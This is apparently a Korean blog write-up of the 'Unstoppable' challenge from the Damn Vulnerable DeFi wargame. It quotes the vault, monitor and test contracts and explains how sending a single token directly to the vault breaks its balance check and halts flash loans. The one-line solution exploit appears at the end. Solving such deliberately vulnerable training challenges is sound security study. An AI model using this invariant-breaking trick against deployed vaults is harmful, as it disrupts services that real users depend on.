
web3 워게임 사이트를 찾던 중 DamnVulnerableDefi라는 것을 추천받아 ONLYPWNER를 오가며 문제를 풀어보고 있다.
자세한 환경설정 및 테스트 방법은 아래의 깃허브 README를 읽어보길 권한다.
Github: https://github.com/theredguild/damn-vulnerable-defi
< version v4.0.1 >
There’s a tokenized vault with a million DVT tokens deposited. It’s offering flash loans for free, until the grace period ends.
To catch any bugs before going 100% permissionless, the developers decided to run a live beta in testnet. There’s a monitoring contract to check liveness of the flashloan feature.
Starting with 10 DVT tokens in balance, show that it’s possible to halt the vault. It must stop offering flash loans.
Vault 컨트랙트를 모니터링하는 Monitor 컨트랙트에서 Vault를 중단하는 것이 가능하단 걸 보여야 하는 문제이다.
Unstoppable.t.sol
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private {
// Flashloan check must fail
vm.prank(deployer);
vm.expectEmit();
emit UnstoppableMonitor.FlashLoanStatus(false);
monitorContract.checkFlashLoan(100e18);
// And now the monitor paused the vault and transferred ownership to deployer
assertTrue(vault.paused(), "Vault is not paused");
assertEq(vault.owner(), deployer, "Vault did not change owner");
}
_isSolved() 함수에서 테스트하는 것은 다음과 같다.
checkFlashLoan(100e18)을 하였을 때 vault의 paused가 true이며 owner가 deployer라면 테스트를 통과할 수 있는 것으로 보인다.
UnstoppableMonitor.sol
function checkFlashLoan(uint256 amount) external onlyOwner {
require(amount > 0);
address asset = address(vault.asset());
try vault.flashLoan(this, asset, amount, bytes("")) {
emit FlashLoanStatus(true);
} catch {
// Something bad happened
emit FlashLoanStatus(false);
// Pause the vault
vault.setPause(true);
// Transfer ownership to allow review & fixes
vault.transferOwnership(owner);
}
}
isSolved() 함수에서 실행했던 checkFlashLoan() 함수를 보면 위와 같은 행위를 한다.
이 때 try 내의 코드에서 revert, require 실패, assert 중 하나가 발생한다면 catch로 넘어가 vault의 paused가 true로 변경되며 owner도 deployer로 변경된다.
즉, 우리는 deployer가 isSolved()를 실행했을 때 flashLoan()에서 에러가 나게끔 하면 되는 것이다.
Unstoppable.sol
function flashLoan(IERC3156FlashBorrower receiver, address _token, uint256 amount, bytes calldata data)
external
returns (bool)
{
if (amount == 0) revert InvalidAmount(0); // fail early
if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
// transfer tokens out + execute callback on receiver
ERC20(_token).safeTransfer(address(receiver), amount);
// callback must return magic value, otherwise assume it failed
uint256 fee = flashFee(_token, amount);
if (
receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data)
!= keccak256("IERC3156FlashBorrower.onFlashLoan")
) {
revert CallbackFailed();
}
// pull amount + fee from receiver, then pay the fee to the recipient
ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
ERC20(_token).safeTransfer(feeRecipient, fee);
return true;
}
해당 flashLoan() 함수에서 revert가 되는 경우는 아래와 같다.
// 1
function _isSolved() private {
...
monitorContract.checkFlashLoan(100e18);
...
}
// 2
function checkFlashLoan(uint256 amount) external onlyOwner {
...
try vault.flashLoan(this, asset, amount, bytes("")) {
emit FlashLoanStatus(true);
} catch {
...
}
}
// 3
function flashLoan(IERC3156FlashBorrower receiver, address _token, uint256 amount, bytes calldata data) external returns (bool) {
if (amount == 0) revert InvalidAmount(0);
...
}
isSolved()에서 checkFlashLoan()을 호출하였을 때 amount를 100e18로 지정해서 전달하기 때문에 수정할 수 없으므로 해당 부분에서는 revert가 발생할 수 없다. pass!
// 1
function _isSolved() private {
...
monitorContract.checkFlashLoan(100e18);
...
}
// 2
function checkFlashLoan(uint256 amount) external onlyOwner {
...
try vault.flashLoan(this, asset, amount, bytes("")) {
emit FlashLoanStatus(true);
} catch {
...
}
}
// 3
function flashLoan(IERC3156FlashBorrower receiver, address _token, uint256 amount, bytes calldata data) external returns (bool) {
...
if (address(asset) != _token) revert UnsupportedCurrency();
...
}
// asset
ERC20 public immutable asset;
asset은 ERC20의 immutable 변수로, 생성자에서 초기화된 이후로 값을 수정할 수 없다. pass!
// balanceBefore
uint256 balanceBefore = totalAssets();
// totalAssets()
function totalAssets() public view override nonReadReentrant returns (uint256) {
return asset.balanceOf(address(this));
}
// balanceOf()
mapping(address => uint256) public balanceOf;
balanceBefore는 비교 직전 totalAssets() 함수의 반환값으로 저장되며, 이는 asset의 balanceOf(address(this))의 값이다.
또한 balanceOf는 (address => uint256) 관계의 매핑이며 아래의 ERC20 transfer() 함수에서 balanceOf[to]에 amount만큼 값을 더할 수 있다.
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
코드를 더 분석해보면 알겠지만 balanceBefore와 비교하는 totalSupply는 ERC20의 _mint() 함수 혹은 _burn() 함수가 호출되지 않는 한 0으로 초기화되어있기 때문에 balanceBefore의 값이 0이 아닌 값으로만 만들면 revert가 발생하게 된다.
player는 이미 10 DVT 토큰을 가지고 있기 때문에 그냥 transfer() 함수로 vault에 1만큼 입금을 하면 될 것이다.
function test_unstoppable() public checkSolvedByPlayer {
token.transfer(address(vault), 1);
}

✌️